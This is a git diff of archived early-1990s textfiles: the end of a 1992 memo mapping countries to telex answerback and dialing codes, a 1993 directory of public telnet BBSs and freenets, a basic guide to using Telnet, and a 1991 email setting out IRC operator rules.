Slovenia 42 849 C SI + Solomon Is. 677 769 HQ SB + Somali Rep. 252 999 SM SO + South Africa, Rep. of 27 960 SA ZA + South Georgia ---- --- --- --- + Southwest Africa/Namibia 264 964 --- NA + Spain 34 831 E ES + Spanish North Africa ---- 831 E --- + Spitzbergen (Svalbard) ---- --- --- SJ + Sri Lanka (Ceylon) 94 954 CE LK + St. Barthelemy (Fr. Ant.) ---- 340 --- --- + St. Christopher (BWI) 1809 361 KC --- + St. Kitts - Nevis (BWI) 1809 361 KC KN + St. Croix (US V.I.) 1809 327,347 VI, VI + St. Croix (US V.I.) 1809 367 VZ VI + St. Eustatius (Neth. Ant.) ---- 384 NA --- + St. Helena ---- 921 HL SH + St. Lucia (BWI) 1809 341 LC LC + St. Maarten (Neth. Ant.) ---- 384 NA --- + St. Martin (Fr. Ant.) 596 340 --- --- + St. Paul & Amsterdam Is. ---- --- --- --- + St. Pierre/Miquelon Is. 508 316 QN PM + St. Thomas (US V.I.) 1809 327,347 VI, VI + St. Thomas (US V.I.) 1809 367 VZ VI + St. Thome Is. (PWA) ---- --- --- --- + St. Vincent/Grenadines (W.I.) 1809 321 VQ VC + Sudan ---- 970 SD SD + Suriname, Rep. of 597 397 SN SR + Svalbard & Jan Mayen Is. ---- --- --- SJ + Swaziland 268 993 WD SZ + Sweden 46 854 S SE + Switzerland 41 845 CH CH + Syrian Arab Rep. 963 924 SY SY + + Tahiti (Fr. Polynesia) 689 711 --- --- + Taiwan (Rep. of China) 886 785 TW TW + Tanzania (Zanzibar) 255 975 TZ TZ + Thailand 66 788 TH TH + Tibet ---- 716 --- --- + Timor, East ---- 796 --- TP + + Robinson [Page 10] + + + + + + + Conversion of Telex Answerback Codes November, 1992 + + + Togolese Rep. 228 986 TO TG + Tokelau Is. ---- --- --- TK + Tonga Is. 676 765 TS TO + Tortola (Br. V.I.) 1809 318 VB --- + Transkei Republic ---- 915 TT --- + Trinidad & Tobago (BWI) 1809 387 WG TT + Tristan Da Cunha ---- --- --- --- + Tunisia 216 934 TN TN + Turkey 90 821 TR TR + Turks & Caicos Is. 1809 315 TQ TC + Tuvalu (Ellice Is.) 688 726 TV TV + + Uganda 256 973 UG UG + Ukraine 7 871 SU UA + Umm Al Quwain (UAE) 9716 958 EM AE + United Arab Emirates 971 949,958 EM AE + United Kingdom 44 851 G GB,UK + United States 1 --- US US + United States - Alabama 1205 --- US AL.US + United States - Alaska 1907 --- UA AK.US + United States - Arizona 1602 --- US AZ.US + United States - Arkansas 1501 --- US AZ.US + United States - California 1209, --- US CA.US + United States - California 1213, --- US CA.US + United States - California 1310, --- US CA.US + United States - California 1408, --- US CA.US + United States - California 1415, --- US CA.US + United States - California 1510, --- US CA.US + United States - California 1619, --- US CA.US + United States - California 1707, --- US CA.US + United States - California 1714, --- US CA.US + United States - California 1805, --- US CA.US + United States - California 1818, --- US CA.US + United States - California 1916 --- US CA.US + United States - Colorado 1303, --- US CO.US + United States - Colorado 1719 --- US CO.US + United States - Connecticut 1203 --- US CT.US + United States - Delaware 1302 --- US DE.US + United States - Dist. of Columbia 1202 --- US DC.US + United States - Florida 1305, --- US FL.US + United States - Florida 1407, --- US FL.US + United States - Florida 1813, --- US FL.US + United States - Florida 1904 --- US FL.US + United States - Georgia 1404, --- US GA.US + United States - Georgia 1706 --- US GA.US + United States - Georgia 1912 --- US GA.US + United States - Idaho 1208 --- US ID.US + United States - Illinois 1217, --- US IL.US + United States - Illinois 1309, --- US IL.US + United States - Illinois 1312, --- US IL.US + United States - Illinois 1618, --- US IL.US + United States - Illinois 1708, --- US IL.US + United States - Illinois 1815 --- US IL.US + + Robinson [Page 11] + + + + + + + Conversion of Telex Answerback Codes November, 1992 + + + United States - Indiana 1219, --- US IN.US + United States - Indiana 1317, --- US IN.US + United States - Indiana 1812 --- US IN.US + United States - Iowa 1319, --- US IA.US + United States - Iowa 1515, --- US IA.US + United States - Iowa 1712 --- US IA.US + United States - Kansas 1316, --- US KS.US + United States - Kansas 1913 --- US KS.US + United States - Kentucky 1502, --- US KY.US + United States - Kentucky 1606 --- US KY.US + United States - Louisiana 1318, --- US LA.US + United States - Louisiana 1504 --- US LA.US + United States - Maine 1207 --- US ME.US + United States - Maryland 1301, --- US MD.US + United States - Maryland 1410 --- US MD.US + United States - Massachusetts 1413, --- US MA.US + United States - Massachusetts 1508, --- US MA.US + United States - Massachusetts 1617 --- US MA.US + United States - Michigan 1313, --- US MI.US + United States - Michigan 1517, --- US MI.US + United States - Michigan 1616, --- US MI.US + United States - Michigan 1906 --- US MI.US + United States - Minnesota 1218, --- US MN.US + United States - Minnesota 1507, --- US MN.US + United States - Minnesota 1612 --- US MN.US + United States - Mississippi 1601 --- US MS.US + United States - Missouri 1314, --- US MS.US + United States - Missouri 1417, --- US MS.US + United States - Missouri 1816 --- US MO.US + United States - Montana 1406 --- US MT.US + United States - Nebraska 1308, --- US NE.US + United States - Nebraska 1402 --- US NE.US + United States - Nevada 1702 --- US NV.US + United States - New Hampshire 1603 --- US NH.US + United States - New Jersey 1201, --- US NJ.US + United States - New Jersey 1609, --- US NJ.US + United States - New Jersey 1908 --- US NJ.US + United States - New Mexico 1505 --- US NM.US + United States - New York 1212, --- US NY.US + United States - New York 1315, --- US NY.US + United States - New York 1516, --- US NY.US + United States - New York 1518, --- US NY.US + United States - New York 1607, --- US NY.US + United States - New York 1716, --- US NY.US + United States - New York 1718, --- US NY.US + United States - New York 1914, --- US NY.US + United States - New York 1917 --- US NY.US + United States - North Carolina 1704, --- US NC.US + United States - North Carolina 1919 --- US NC.US + United States - North Dakota 1701 --- US ND.US + United States - Ohio 1216, --- US OH.US + United States - Ohio 1419, --- US OH.US + United States - Ohio 1513, --- US OH.US + + Robinson [Page 12] + + + + + + + Conversion of Telex Answerback Codes November, 1992 + + + United States - Ohio 1614 --- US OH.US + United States - Oklahoma 1405, --- US OK.US + United States - Oklahoma 1918 --- US OK.US + United States - Oregon 1503 --- US OR.US + United States - Pennsylvania 1215, --- US PA.US + United States - Pennsylvania 1412, --- US PA.US + United States - Pennsylvania 1717, --- US PA.US + United States - Pennsylvania 1814 --- US PA.US + United States - Rhode Island 1401 --- US RI.US + United States - South Carolina 1803 --- US SC.US + United States - South Dakota 1605 --- US SD.US + United States - Tennessee 1615, --- US TN.US + United States - Tennessee 1901, --- US TN.US + United States - Texas 1214, --- US TX.US + United States - Texas 1409, --- US TX.US + United States - Texas 1512, --- US TX.US + United States - Texas 1713, --- US TX.US + United States - Texas 1806, --- US TX.US + United States - Texas 1817, --- US TX.US + United States - Texas 1903, --- US TX.US + United States - Texas 1915 --- US TX.US + United States - Utah 1801 --- US UT.US + United States - Vermont 1802 --- US VT.US + United States - Virginia 1703, --- US VA.US + United States - Virginia 1804 --- US VA.US + United States - Washington 1206, --- US WA.US + United States - Washington 1509 --- US WA.US + United States - West Virginia 1304 --- US WV.US + United States - Wisconsin 1414, --- US WI.US + United States - Wisconsin 1608, --- US WI.US + United States - Wisconsin 1715 --- US WI.US + United States - Wyoming 1307 --- US WY.US + Upper Volta 226 985 --- --- + Uruguay 598 398 UY UY + U.S.S.R. [Russia] (C.I.S.) 7 871 SU SU + US DOD - Adv. Res. Proj. Agc. ---- --- --- ARPA + US Telex-Alaska 1907 --- UA AK.US + US Telex-AT&T 1 --- --- ATTMAIL.COM + US Telex-FTCC 1 --- UF --- + US Telex-Graphnet 1 --- UB --- + US Telex-Hawaii 1808 723,743, HA,HR HI.US + US Telex-Hawaii 1808 763 HA,HR HI.US + US Telex-Hawaii AT&T 1808 743 --- ATTMAIL.COM + US Telex-RCA 1 --- UR --- + US Telex-TRT 1 --- UT --- + US Telex-WUC 1 --- UD --- + US Telex-WUI/MCI 1 --- UW MCIMAIL.COM + US Telex-WU WORLDCOM 1 --- UI --- + UUNet Clients 1 --- --- UUNET.NET + + Vanuatu (New Hebrides) 678 718 NH VU + Vatican City 39 803 VA VA + + + Robinson [Page 13] + + + + + + + Conversion of Telex Answerback Codes November, 1992 + + + Vatican City Via Italy 39 --- VAC --- + Venda ---- --- VM --- + Venezuela 58 395 VE VE + Vietnam 84 798 VT VN + Virgin Is., British 1809 318 VB VG + Virgin Is., U.S. 1809 327,347, VI, VI + Virgin Is., U.S. 1809 367 VZ VI + + Wake Is ---- --- --- --- + Wallis & Futuna Is. 681 707 --- WF + Western Sahara ---- --- --- EH + Western Samoa 685 793 SX --- + + Yemen Arab Rep. (Formerly N.) 969 948,956 YD,YE YE + Yemen Dem. Rep. (Formerly S.) 967 956 YD,YE YE + Yugoslavia 38 862 YU YU + + Zaire, Rep. of 243 968 ZR ZR + Zambia 260 965 ZA ZM + Zanzibar (Tanzania) 259 975 TZ TZ + Zimbabwe (Rhodesia) 263 987 --- ZW + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Robinson [Page 14] + + + + + + + Conversion of Telex Answerback Codes November, 1992 + + + Security Considerations + + Security issues are not discussed in this memo. + + + Author's Address + + Paul Robinson + Tansin A. Darcos & Company + 8604 Second Avenue #104 + Silver Spring, MD 20910 USA + + Phone: +1 202-310-1011 + Telex: 6505066432MCI UW + E-mail: TDARCOS@MCIMAIL.COM + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Robinson [Page 15] + + + + + diff --git a/textfiles.com/internet/teln0418.txt b/textfiles.com/internet/teln0418.txt new file mode 100644 index 00000000..0a740d81 --- /dev/null +++ b/textfiles.com/internet/teln0418.txt @@ -0,0 +1,492 @@ + + NOT ANOTHER LIST?!?!?!?!!! + A list of telnet sites available on the Internet, compiled with + the help of Auggie BBS (bbs.augsburg.edu) and dozens of + brave net riders. + Compiled on April 18, 1993 by CC May (mcm@sunset.cse.nau.edu) + (C) Copyright 1993 CC May. + This document may be copied and distributed freely, provided... +a) It is distributed in its entirety (quoting from it is still OK...) + and +b) It is not used for commerce or the purpose of making money. + Unless I get some kind of small royalty. After all, in my spare time + I'm a college student. :) + Entries are as follows: + Name of Board 44 + TCP address 4 4 + IP address 4 4 + Login name (password, if necessary) 4 4 + Services provided 4 4 +0................ CC's Wish List 444444444 +0.5.............. Coke Machines on the Internet 4 +1................ Free BBSs on the net 4 +2................ Freenets and Public Access UNIX 4 +3................ For-pay BBSs +4................ Other services and tips + + This is a list of services, often made possible by volunteers who +usually go unthanked. If you see anyone who does this sort of thing, +thank them. + Also, whatever you do, DO NOT ATTEMPT TO HACK ANYTHING ON +THE INTERNET! The hacking that has been done on the Internet has caused +a great many BBSs and other sites to go down forever, and others have +taken steps at making this net a little less friendly than it is now. +(e.g., Nyx.) These BBSs do not have to be here. However, they still exist +and literally thousands use them each day. Don't hack them, or what we now +have will be history. Well, that said, on with the show... + +\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ +CC's WISH LIST +/////////////////////////////////////////////////////////// +-An encyclopedia. There are dozens of encyclopediae (is that right? My Latin +is a little rusty. :) on CD-ROM, and just one would do a world of good for +college students. +Anyone with wishes for the Internet, feel free to mail me. + +||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| +COKE MACHINES ON THE INTERNET +||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| +The latest in hacker trends. :) +Actually, they've been around for a little while now... +These are actual Coke and M'n'M machines connected to the Internet, +and when fingered, provide you with the amount of soft drinks held within. +I doubt you could hack 'em, anyway... and if you could, how would you get +the product? :) +These are just interesting, so I put them in. Enjoy. +drink@csh.rit.edu +graph@drink.csh.rit.edu +coke@cmu.edu +@coke.elab.cs.cmu.edu +bargraph@coke.elab.cs.cmu.edu +mnm@coke.elab.cs.cmu.edu +coke@cs.wisc.edu +coke@gu.uwa.edu.au +(Special thanks to alt.hackers for the info.) + +/////////////////////////////////////////////////////////// +FREE BULLETIN BOARD SERVICES +\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ +NOTE: I have placed BBSs whose main goal is to entertain or serve as +a forum for people to get together here. +BBSs whose primary purpose is connectivity or services involving the INet +have been placed in 'Other Services and Tips'. + +\\\EBBS/PIRATE BBS/// +Friendlier than it sounds. +Takes advantage of VT100 and up with a full-screen environment. +All offer Boards (message areas), Mail, and Talk. +Some offer Files and IRC connections. + +Auggie BBS +bbs.augsburg.edu +141.224.128.3 +bbs +Friendly BBS. Lots of chatting on various topics, file areas, and +IRC-like and realtime chat facilities. Now has 4m, a new chat network. +Try it out. + +Eagles' Nest BBS +seabass.st.usm.edu +131.95.127.2 +bbs (bbs) +Ask around for cute stories. :) + +SCF BBS +freedom.nmsu.edu +128.123.1.14 +bbs + +Uninet BBS +uninet.mty.itesm.mx +131.178.51.42 +bbs +uninet +Specializing in ecology/the environment, in Spanish. + +SPARCS BBS +ara.kaist.ac.kr +143.218.1.53 +bbs + +KIDS BBS +kids.kotel.co.kr +147.6.11.151 +kids + +Badboy's Inn +badboy.aue.com +192.136.108.18 +bbs + +ICU BBS +amiga.physik.unizh.ch +130.60.80.80 +bbs +Switzerland. Achtung! Almost entirely in German... + +Razor BBS +netrats.dayton.saic.com +139.121.26.235 +bbs + +NSYSU-BBS +cc.nsysu.edu.tw +140.117.11.1 +bbs +Taiwanese. Don't let the strange characters fool you. :) + +\\\CITADEL/// +Citadel is a message-only system. +Boards using this are highly active with the exchange of messages +in various "rooms", sometimes as varied as MST3K>, NetLife>, and +Spam! Spam! Spam!>. Plenty of information can be had on these boards, +though no files are available. +Another feature of these boards is that each one has added a little +flavor to the stock Citadel code, so none of them are quite the same. + +Quartz BBS +quartz.rutgers.edu +128.6.60.6 +bbs +Citadel +The granddaddy. Interesting and spontaneous conversation found at any +hour of the day or night. That is, if you can get in. :) + +Prism BBS +bbs.fdu.edu +132.238.2.10 +bbs +Multi-level Citadel. Not as difficult as I had previously elaborated. :) + +Sunset BBS +paladine.hacks.arizona.edu +128.196.230.7 +bbs +Another variation of the normal Citadel, somewhere between the original +and DOC. + +\\\DOC/// +Dave's Own version of Citadel. +Best-known as the software ISCA BBS runs, it is a far more user-friendly +system than the original Citadel. No files can be had on these, either. + +ISCA BBS +bbs.isca.uiowa.edu +128.255.40.203 +The biggest BBS on the net. Period. About 10000 active users, and often +more than 300 users online at any given time. Huge areas for +conversation on diverse topics. + +SkyNet +hpx6.aid.no +128.39.145.226 +skynet +The accepted backup for ISCA, but is quickly coming into its own. +A lot more relaxed, comparatively. + +CetysBBS +infux.mxl.cetys.mx +158.122.1.2 +cetysbbs +South of the border. A lot of the posts are in Spanish, but English +speakers are easily accommodated... + +BBSs USING OTHER SOFTWARE: +OUBBS +oubbs.telecom.uoknor.edu +129.15.3.15 +TBBS +A very attractive BBS catering to University of Oklahoma students. +Offers a lot of services typical to non-Net BBSs, including Internet +and FidoNet mail. Both Mac and IBM files available. + +Monochrome +mono.city.ac.uk +138.40.17.1 +mono (mono) +Mail monoadm@city.ac.uk for an account. +It's neat. I like it. You get to see lots of English people. + +BOX +tolsun.oulu.fi +130.231.96.16 +box +Has trouble translating everything to English, but still a good +board all around. + +DUBBS +tudrwa.tudelft.nl +130.161.180.68 +bbs +BBS in the Netherlands with an almost-WWIV look. + +yabbs +phred.pc.cc.cmu.edu +128.2.111.111 +bbs +Messages and a few text files. Lots of computing areas. + +tiny.computing.csbsju.edu +152.65.165.2 +bbs +A graphical BBS, like a hybridization of Pirate and Monochrome. +Try it. + +The Endless Forest +forest.unomaha.edu +137.48.1.4 +ef +A neat little hangout. + +CyberNet +cybernet.cse.fau.edu +131.91.80.79 +bbs +Waffle BBS. +\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ +FREENETS AND PUBLIC ACCESS UNIX +/////////////////////////////////////////////////////////// +Freenets are fairly new to the Internet. +These services often have Telnet, full email, USA Today news and +weather, and are typically set up like 'cities'. Registration is (as the +name implies) free, but usually require a snail-mailed form. +In much the same idea, a few boards have been set up for the public to use +UNIX at no cost. + +Cleveland Freenet +hela.ins.cwru.edu +freenet-in-a.cwru.edu +freenet-in-b.cwru.edu +freenet-in-c.cwru.edu +129.22.8.38 +The first Freenet and by far the largest. Lots of features. + +Youngstown Freenet +yfn.ysu.edu +192.55.234.27 +visitor + +National Capital Freenet +freenet.carleton.ca +134.117.1.25 +visitor + +Victoria Freenet +freenet.victoria.bc.ca +134.87.16.100 +guest + +Tallahassee Freenet +freenet.scri.fsu.edu +144.174.128.43 +visitor + +Denver Free-Net +freenet.hsc.colorado.edu +140.226.1.8 +visitor + +Wellington City-Net +kosmos.wcc.govt.nz +192.54.130.39 +Information available from gopher.wcc.govt.nz. +You have to apply for an account, since there is no guest account +available. +New Zealand. + +M-Net +hermes.merit.edu +m-net.ann-arbor.mi.us +35.1.48.159 +35.1.48.160 +35.1.48.165 +35.1.48.166 +35.1.48.149 +um-m-net +This was the first Public Access UNIX. Offers email and several UNIX +shells, from novice to expert. + +NYX +nyx.cs.du.edu +130.253.192.68 +nyx +Full Usenet, UNIX access, and files. Much like a BBS. + +/////////////////////////////////////////////////////////// +FOR-PAY BBSs +\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ +Internet Direct +indirect.com +192.215.1.62 +Phoenix area. +I personally like this interface. An excellent service. +$10/month for dialin access or access from the net, including an email +account, telnet, ftp, and irc, $15/month for full access. + +The WELL +well.sf.ca.us +192.132.30.2 +San Francisco. +The Whole Earth 'Lectronic Link. +Arguably one of the most interesting places on the Internet. +Price is quite steep, at over $20/month for normal use, but this group +is tightly-knit. Featured just about everywhere they discuss the Net. + +Mindvox +phantom.com +38.145.218.228 +New York City. $10/month for basic access, $15/mo for FULL access. +Rumored to be a hangout for the elite. Featured in _Rolling Stone_. +Well, kinda. :) + +The World +world.std.com +192.74.137.5 +Boston. Public dial-up internet site since 1989, Usenet, FTP, Telnet, +Clarinet UPI news, IRC, Gopher, Online Book Initiative (large etext +archive), CPN long-distance access ($5.60/hr, USA). $5/mo+$2/hr or +$20/20 hours. + +Eskimo North BBS +eskimo.com +192.195.251.13 +MUD on port 3000... +Washington State. Features Usenet, including several readers, shell +access, and files, among other things... + +HoloNet +holonet.net +157.151.0.1 +holonet +California. Usenet, connectability with MS Mail, cc:Mail and the like... +news, files, FTP and Telnet access, fairly low-cost, hundreds of access +points (i.e., SprintNet). + +Telerama +telerama.pgh.pa.us +128.2.55.33 +Pittsburgh. Usenet, files, and all that. +A typical setup, plus ClariNet (UPI news and the like) available. + +Net Access +netaxs.com +192.204.4.1 +Philadelphia. Fairly new, and offering more and more services as we +speak. Already available: FTP, IRC, Telnet, Gopher, email, MUD/MUSE, and +Usenet. + +Texas Metronet +feenix.metronet.com +192.245.137.1 +info(info) or signup(signup) +Dallas/Fort Worth, Texas. Good interface. Fairly expensive, though. + +Bergen By Byte +oscar.bbb.no +192.124.156.13 +Norwegian for-pay BBS. +Email and all the typical features. +Cost is 400 NK for non-students, half that for students. +(Exchange rate works out to AM$25-30 for students.) + +/////////////////////////////////////////////////////////// +OTHER SERVICES AND TIPS +\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ +Grind +grind.isca.uiowa.edu +128.255.40.200 +iscabbs +This used to tag along with ISCABBS, but provides an excellent service. +This is the only site of its kind (that I know of...), providing Telnet +access to files normally available only by FTP. +Mirrors FTP sites on several platforms. +Also has a Bulletin system featuring (of all things...) this list. + +info.rutgers.edu +128.6.26.25 +info +dictionary, thesaurus, Bible, Koran, Constitution, CIA World Fact Book +and CD listing all online, just for starters! + +liberty.uc.wlu.edu +137.113.10.35 +lawlib +Law library. Online guide to a few hundred or so sites with law info. + +netinfo.berkeley.edu 117 +128.32.136.12 117 +Network Information. + +Weather Underground +downwind.sprl.umich.edu 3000 +madlab.sprl.umich.edu 3000 +141.212.196.177 3000 +Weather from the NWS for hundreds of cities. +Suggested that you know the 3-letter airport code to access the city... +LAX, BOS, etc.. + +SFI BBS +bbs.santafe.edu +192.12.12.6 +bbs +A very serious, research-oriented BBS. It is requested that you only +use this BBS for work of some kind. + +National Education BBS +nebbs.nersc.gov +128.55.128.90 +guest +Running EBBS (Pirate), this is a system dedicated to US educational +issues, operated by the government. + +Current time (Mountain): +telnet india.colorado.edu 13 + +Mail: +FidoNet: My.Name@P.F.N.Z.FidoNet.Org + Translation: CC May at 1:2/3.4 would be + CC.May@p4.f3.n2.z1.FidoNet.Org +CompuServe: 72650.414@compuserve.com +GEnie: C.MAY3@genie.geis.com +America Online: UserName@aol.com +Delphi: Username@delphi.com +Applelink: Username@applelink.apple.com +AT&T Mail: User@attmail.att.com +MCI Mail: 1234567@mcimail.com +BIX: User@dcibix.das.net +Bitnet: user%site.bitnet@cunyvm.cuny.edu + or @mitvma.mit.edu +Prodigy: + =yawns= + =looks at watch= + No big rush, guys... + +This is by no means a complete list of the sites and services on the +Internet. It is, however, a good place to start. If you have any sites that +you would like added, please send them to me. + +Also: +This list is available 5 ways: +-By mailing bbslist@aug3.augsburg.edu (no subject or body necessary). This + will send 3 lists (including this one) to your mailbox. +-On Auggie BBS in its InternetBBS board. +-By FTP: on aug3.augsburg.edu, as files/bbs_lists/nal???.txt +-In the ulletins menu on Grind (grind.isca.uiowa.edu, 128.255.40.200, +login iscabbs). +-In the bulletins section and the file area of Thunderstorm BBS in Flagstaff, +AZ. v.32bis, access on first call, running Maximus/CBCS 2.00. +Phone number is (602)556-0999, and CC is the Co-SysOp. :) + +CC May +mcm@sunset.cse.nau.edu +mcm@phantom.cse.nau.edu +mcmay@nauvax.ucc.nau.edu +BBS ID: Trip Shakespeare + +-- +CC May. Sometimes author of Not Another List. mcm@sun.cse.nau.edu +(include stupid or funny comment here.) mcmay@nauvax.ucc.nau.edu +"I'm a few bricks short of a load, 72650.414@compuserve.com + But a full load always hurt my back."-Barenaked Ladies. + + \ No newline at end of file diff --git a/textfiles.com/internet/telnet.txt b/textfiles.com/internet/telnet.txt new file mode 100644 index 00000000..3dafd82e --- /dev/null +++ b/textfiles.com/internet/telnet.txt @@ -0,0 +1,168 @@ +Using remote host computers via Telnet +--------------------------------------- + + + + Understanding Telnet + +The one common element across the disparate environments of the +Internet is the TCP/IP software protocol suite, the basis of +communications. + +Telnet, the terminal-handler portion of the TCP/IP protocol suite, +is the cornerstone of this striking communications technology. +Telnet handles the remote login to another Internet host, so it is +useful to know something about the way it works. + +Telnet operates in a client/server environment in which one host +(the computer you are using, running Client (User) Telnet) +negotiates opening a session on another computer (the remote host, +running Server Telnet). During the behind-the-scenes negotiation +process, the two computers agree on the parameters governing the +session. One of the first things they settle is the terminal type +to be used -- in general, a line-by-line network virtual terminal, +for simplicity's sake. Virtual terminal, in this context, refers to +a set of terminal characteristics and sequences that both sides of a +network connection agree to use to transmit data from terminals +across the network, regardless of the terminal used. + + Finding Telnet Commands + + Try typing "help" or "?" at the Telnet prompt to get a list of + the commands available in your Telnet software. + + Using Local versus Remote Commands + + Once you have established a remote session, all commands you + type will be sent to the Server Telnet on the remote host for + execution. + + If you want a Telnet command issued in the remote environment to + be acted on locally by your client Telnet, on most systems you + would normally precede the command with an escape sequence (a + predetermined character or combination of characters that + signal your Telnet software to execute the command that follows + locally). For example, in NCSA Telnet for pc-compatible + microcomputers, the F10 key is the escape character that alerts + Telnet to execute locally the next command you type (to turn + local echo on or off, or to toggle capture on or off, etc.). + + The Telnet escape sequence by itself followed by returns you + temporarily to your local operating environment. On UNIX systems, + the escape sequence is usually the control key (CNTL) and left bracket + ([) pressed simultaneously. + + + Logging On + + TELNET + or + TELNET followed by OPEN at the prompt. + + The basic command set is simple. You also need to know either the + machine domain name or the machine Internet address (a series of + numbers). The numbers will always work; the names will work if + they are in a software table available to your version of Telnet. + + IBM systems that use TN3270 may require you to type a carriage + return, "DIAL VTAM," or just "VTAM" in response to the first + prompt from the remote system. + + + Logging Off + + LOGOFF or LOGOUT (also try QUIT, END, EXIT, STOP, etc.) + + CLOSE, prefixed by the escape sequence. + + ABORT, prefixed by the escape sequence--use as a last resort! + + To exit the remote system, first try that system's logoff + command. To determine what the appropriate logoff command is, + check the menus, help, and welcome screens when you first log on. + Oftentimes, the logoff information is listed there but not always + easy to retrieve later. + + Logging off the remote system may return you to your primary + operating environment (all the way out of Telnet), or you may + be left in Telnet. If so, type "quit". + + But some information systems have no graceful exit for remote + users. In that case, you have two options --- CLOSE or ABORT. + + CLOSE should be your next choice after LOGOFF. If you are + unable to CLOSE the connection normally (e.g., if your remote + session is hung), try the Telnet ABORT command to drop your + connection locally. + + ABORT will return control to you in your local environment, but + it may not properly terminate your session on the remote machine. + Since this can leave the port on the remote machine busy for an + indefinite period even though you are no longer using it, ABORT + should be used only as a last resort. + + In either case, you can also try escaping back to your local + environment and then issuing the termination commands. If one + method doesn't work, try the other. + + Other commands may allow you to control your communications environment. + Investigate the help systems both in your local Telnet and on the + remote system at the outset. + + + Using the BREAK Key + + Don't be hasty with the Break key. Too many Breaks may cause + your Telnet session to be dropped! + + There is no standard BREAK key across versions of Telnet and in + remote information systems. Telnet is based on the concept of a + network virtual terminal, in which the control functions (breaks, + etc.) are communicated with characters regardless of terminal type + (rather than line conditions, used in the terminal server + environment). Your local Telnet receives your break and sends out + a character sequence which is reinterpreted on the other end, + hopefully as the break you intended. + + Your Break may not always be understood by the remote system, so + you should try HELP or ? when you begin (at the Telnet prompt) + to determine what your version of Telnet uses as BREAK. + + Tips: In UNIX, CNTL-C may work for BREAK. In the Mac environment, + BREAK may be a click down menu option or a character combination. + In NCSA Telnet (a popular PC version), BREAK is F10 followed by a + lower case letter "b". + + + Using the Backspace Key + + The backspace character may not be recognized by the remote + system. Investigate in your local Telnet how to set an erasing + backspace. Type ? at the Telnet prompt, or SET ? for a list of + possibilities. + + + Adjusting the Settings to your Needs + + Most Telnet programs have the ability to SET or TOGGLE many of + these settings on and off. Erasable backspace, local echo, + carriage return interpretation ( or -- i.e., + carriage return or carriage return with line feed), and the + escape character you use to return to the local environment are + things that you can usually SET or TOGGLE at the Telnet prompt. + Type ? and use Telnet's internal help system to change a setting. + + + Using Function Keys + + Remember that special function keys are local implementations + and have no significance in a remote session. Function keys + such as INSERT, DELETE, ERASE END-OF-FIELD, PF, and PA keys may + not be recognized in the remote environment. Even though + function keys and control key combinations may have significance + on the remote system, they may vary from those on your local + system. + + +==== 2 links in glossary topic + \ No newline at end of file diff --git a/textfiles.com/internet/the-plan b/textfiles.com/internet/the-plan new file mode 100644 index 00000000..bcbdf2a6 --- /dev/null +++ b/textfiles.com/internet/the-plan @@ -0,0 +1,243 @@ +From owner-operlist@cs.bu.edu Mon Jul 15 16:33 EDT 1991 +Received: from CS.BU.EDU by chaos.cs.brandeis.edu Mon, 15 Jul 91 16:33:09 edt +Received: by cs.bu.edu (5.61+++/SMI-4.0.3) + id AA03347; Mon, 15 Jul 91 15:21:01 -0400 +Return-Path: +Received: from BU.EDU by cs.bu.edu (5.61+++/SMI-4.0.3) + id AA03341; Mon, 15 Jul 91 15:20:55 -0400 +Received: from uvaarpa.Virginia.EDU by BU.EDU (1.99) Mon, 15 Jul 91 13:39:46 EDT +Received: from algol.astro.Virginia.EDU by uvaarpa.Virginia.EDU id aa26499; + 15 Jul 91 13:39 EDT +Received: by algol.astro.Virginia.EDU (5.61/1.34) + id AA06657; Mon, 15 Jul 91 13:36:10 -0400 +Date: Mon, 15 Jul 91 13:36:10 -0400 +From: jennifer@algol.astro.Virginia.EDU (Jennifer Wesp) +Message-Id: <9107151736.AA06657@algol.astro.Virginia.EDU> +To: operlist@cs.bu.edu +Subject: the.PLAN +Status: RO + +This is the set of rules for the.PLAN as they now stand. additional +commentary would be appreciated. + +Rules for Opers in the.PLAN + -Jennifer Wesp (July 1991) + +The "enforcement" of these will continue much as it has been. Talk +to the oper in question if there is an oper related problem, or mail +the server admin if the trouble is with the server. (If the oper +ignores you then also go to the server admin) The only "new" idea is +that a stronger emphasis should be placed on the next server up the +line, if the admin of the server that is a problem proves unhelpful. +The last line of recourse is to request of the links to the "bad" +server that the links be cut. + +1) No kills. + *Exceptions: + Ghosts. + Evading Ignore. + "Stealing" chanop. + +2) No squits. + *Exceptions: + You can squit links to your own server, but if you + need to squit one you should probably rethink your + Y: lines. + You can squit to fix a routing that puts Europe in + the middle of two groups of US servers. (or Japan, + or Australia...) + +3) No wallops. + *Exceptions: + Discussion of impending squits. + Discussion of impending Q: lines, suspected hacked + servers, or other things that are prohibitted. + The majority of the discussion should go to a + channel, however. + +4) No Walls. + *Exception: + War has broken out, the Big One hit California, or + there is a large meteor on it's way. There should + be only one wall in such an event. + +Commentary by Greg Lindahl: + +1) KILL is fairly useless these days. With an autoreconnect + client, for example, it's impossible to keep someone off of + IRC by killing them repeatedly. You'll piss off all the + other operators long before you stop the bad guy. Likewise, + if someone has a hacked server that allows them to steal + channel op repeatedly, or evades /ignore of user@host + repeatedly, killing them a bunch won't help. Killing them + once might send a message, but if they persist, a complaint + to a server or site administrator will be much more + effective than other measures. + +Other sorts of things (i.e. being rude on a channel) should be +dealt with by channel operators. That's what they're for. We +hope to add /disinvite soon. + +2) With the new routing plan, SQUIT will not be needed as much. + An SQUIT of a major link causes a lot of network traffic, + and inconveniences the users. Properly designed routing + means that most of the time, routing will look good -- it + becomes a statistical process, and we're using the connect + frequencies as weights to bias the process towards the Right + Answer. So, no squits. + +3) There is a wide difference of opinion what wallops are for. + If you want to hold a conversation with a lot of operators, + you're probably better off using a channel and issuing a + single wallops advertising the disucssion. Remember that + LOTS of silent operators are on-line at any one time and + many of them won't be interested in what you have to say. + +4) Think of WALL as the equivalent of posting to + news.announce.newgroups -- you don't want to abuse it + because you don't want everyone to start ignoring all walls. + 